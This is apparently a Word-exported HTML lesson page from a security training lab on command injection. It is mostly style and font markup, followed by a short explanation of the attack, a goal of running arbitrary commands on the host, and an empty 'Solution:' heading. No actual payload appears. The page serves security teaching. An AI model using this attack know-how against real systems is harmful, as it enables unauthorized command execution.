|
||||
<w:LsdException Locked="false" Priority="0" Name="Normal (Web)"/>
|
||||
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Table Grid"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
|
||||
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
|
||||
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
|
||||
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
|
||||
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
|
||||
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
|
||||
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
|
||||
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
|
||||
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
|
||||
</w:LatentStyles>
|
||||
</xml><![endif]-->
|
||||
<style>
|
||||
<!--
|
||||
/* Font Definitions */
|
||||
@font-face
|
||||
{font-family:"MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-alt:"\FF2D\FF33 \660E\671D";
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
@font-face
|
||||
{font-family:"Cambria Math";
|
||||
panose-1:2 4 5 3 5 4 6 3 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:roman;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:-1610611985 1107304683 0 0 159 0;}
|
||||
@font-face
|
||||
{font-family:Tahoma;
|
||||
panose-1:2 11 6 4 3 5 4 4 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:swiss;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:1627400839 -2147483648 8 0 66047 0;}
|
||||
@font-face
|
||||
{font-family:"\@MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
/* Style Definitions */
|
||||
p.MsoNormal, li.MsoNormal, div.MsoNormal
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
h1
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 1 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:12.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:3.0pt;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:1;
|
||||
font-size:16.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
h2
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:9;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 2 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:10.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:0cm;
|
||||
margin-left:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan lines-together;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:2;
|
||||
font-size:13.0pt;
|
||||
font-family:"Cambria","serif";
|
||||
mso-ascii-font-family:Cambria;
|
||||
mso-ascii-theme-font:major-latin;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;
|
||||
mso-hansi-font-family:Cambria;
|
||||
mso-hansi-theme-font:major-latin;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;
|
||||
color:#4F81BD;
|
||||
mso-themecolor:accent1;
|
||||
font-weight:bold;}
|
||||
p.MsoCaption, li.MsoCaption, div.MsoCaption
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-next:Normal;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
font-weight:bold;}
|
||||
p.MsoEnvelopeReturn, li.MsoEnvelopeReturn, div.MsoEnvelopeReturn
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;}
|
||||
a:link, span.MsoHyperlink
|
||||
{mso-style-noshow:yes;
|
||||
color:blue;
|
||||
text-decoration:underline;
|
||||
text-underline:single;}
|
||||
a:visited, span.MsoHyperlinkFollowed
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
color:purple;
|
||||
mso-themecolor:followedhyperlink;
|
||||
text-decoration:underline;
|
||||
text-underline:single;}
|
||||
p
|
||||
{mso-style-noshow:yes;
|
||||
mso-margin-top-alt:auto;
|
||||
margin-right:0cm;
|
||||
mso-margin-bottom-alt:auto;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
p.MsoAcetate, li.MsoAcetate, div.MsoAcetate
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-link:"Balloon Text Char";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
span.Heading1Char
|
||||
{mso-style-name:"Heading 1 Char";
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 1";
|
||||
mso-ansi-font-size:16.0pt;
|
||||
mso-bidi-font-size:16.0pt;
|
||||
font-family:"MS Mincho";
|
||||
mso-ascii-font-family:"MS Mincho";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-hansi-font-family:"MS Mincho";
|
||||
mso-bidi-font-family:Arial;
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
span.Heading2Char
|
||||
{mso-style-name:"Heading 2 Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:9;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 2";
|
||||
mso-ansi-font-size:13.0pt;
|
||||
mso-bidi-font-size:13.0pt;
|
||||
font-family:"Cambria","serif";
|
||||
mso-ascii-font-family:Cambria;
|
||||
mso-ascii-theme-font:major-latin;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;
|
||||
mso-hansi-font-family:Cambria;
|
||||
mso-hansi-theme-font:major-latin;
|
||||
color:#4F81BD;
|
||||
mso-themecolor:accent1;
|
||||
font-weight:bold;}
|
||||
span.BalloonTextChar
|
||||
{mso-style-name:"Balloon Text Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Balloon Text";
|
||||
mso-ansi-font-size:8.0pt;
|
||||
mso-bidi-font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-ascii-font-family:Tahoma;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-hansi-font-family:Tahoma;
|
||||
mso-bidi-font-family:Tahoma;}
|
||||
.MsoChpDefault
|
||||
{mso-style-type:export-only;
|
||||
mso-default-props:yes;
|
||||
font-size:10.0pt;
|
||||
mso-ansi-font-size:10.0pt;
|
||||
mso-bidi-font-size:10.0pt;
|
||||
mso-ascii-font-family:Arial;
|
||||
mso-fareast-font-family:Calibri;
|
||||
mso-fareast-theme-font:minor-latin;
|
||||
mso-hansi-font-family:Arial;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
@page Section1
|
||||
{size:612.0pt 792.0pt;
|
||||
margin:72.0pt 72.0pt 72.0pt 72.0pt;
|
||||
mso-header-margin:35.4pt;
|
||||
mso-footer-margin:35.4pt;
|
||||
mso-paper-source:0;}
|
||||
div.Section1
|
||||
{page:Section1;}
|
||||
-->
|
||||
</style>
|
||||
<!--[if gte mso 10]>
|
||||
<style>
|
||||
/* Style Definitions */
|
||||
table.MsoNormalTable
|
||||
{mso-style-name:"Table Normal";
|
||||
mso-tstyle-rowband-size:0;
|
||||
mso-tstyle-colband-size:0;
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
|
||||
mso-para-margin:0cm;
|
||||
mso-para-margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapedefaults v:ext="edit" spidmax="3074"/>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapelayout v:ext="edit">
|
||||
<o:idmap v:ext="edit" data="1"/>
|
||||
</o:shapelayout></xml><![endif]-->
|
||||
</head>
|
||||
|
||||
<body lang=EN-US link=blue vlink=purple style='tab-interval:36.0pt'>
|
||||
|
||||
<div class=Section1>
|
||||
|
||||
<p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span
|
||||
style='font-family:"Arial","sans-serif"'>Lesson Plan Title:</span></b><span
|
||||
style='font-family:"Arial","sans-serif"'> How to Perform Command Injection <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span
|
||||
style='font-family:"Arial","sans-serif"'>Concept / Topic To Teach: </span></b><span
|
||||
style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Command
|
||||
injection attacks represent a serious threat to any parameter-driven site. The methods
|
||||
behind an attack are easy to learn and the damage caused can range from
|
||||
considerable to complete system compromise. Despite these risks an incredible
|
||||
number of systems on the internet are susceptible to this form of attack. <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Not only is
|
||||
it a threat easily instigated, it is also a threat that, with a little
|
||||
common-sense and forethought, can be almost totally prevented. This lesson will
|
||||
show the student several examples of parameter injection.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>It is always
|
||||
good practice to sanitize all input data, especially data that will used in OS
|
||||
command, scripts, and database queries.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span
|
||||
style='font-family:"Arial","sans-serif"'>General Goal(s): <o:p></o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>The user
|
||||
should be able to execute any command on the hosting OS.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shapetype id="_x0000_t75"
|
||||
coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe"
|
||||
filled="f" stroked="f">
|
||||
<v:stroke joinstyle="miter"/>
|
||||
<v:formulas>
|
||||
<v:f eqn="if lineDrawn pixelLineWidth 0"/>
|
||||
<v:f eqn="sum @0 1 0"/>
|
||||
<v:f eqn="sum 0 0 @1"/>
|
||||
<v:f eqn="prod @2 1 2"/>
|
||||
<v:f eqn="prod @3 21600 pixelWidth"/>
|
||||
<v:f eqn="prod @3 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @0 0 1"/>
|
||||
<v:f eqn="prod @6 1 2"/>
|
||||
<v:f eqn="prod @7 21600 pixelWidth"/>
|
||||
<v:f eqn="sum @8 21600 0"/>
|
||||
<v:f eqn="prod @7 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @10 21600 0"/>
|
||||
</v:formulas>
|
||||
<v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/>
|
||||
<o:lock v:ext="edit" aspectratio="t"/>
|
||||
</v:shapetype><v:shape id="Picture_x0020_1375" o:spid="_x0000_i1028" type="#_x0000_t75"
|
||||
style='width:480pt;height:276.75pt;visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/CommandInjection_files/image001.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||||
src="lesson_solutions/CommandInjection_files/image007.jpg" v:shapes="Picture_x0020_1375"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>1</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Lesson 16<span style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span
|
||||
style='font-family:"Arial","sans-serif"'>Solution:<o:p></o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span
|
||||
style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></b></p>
|
||||
|
||||
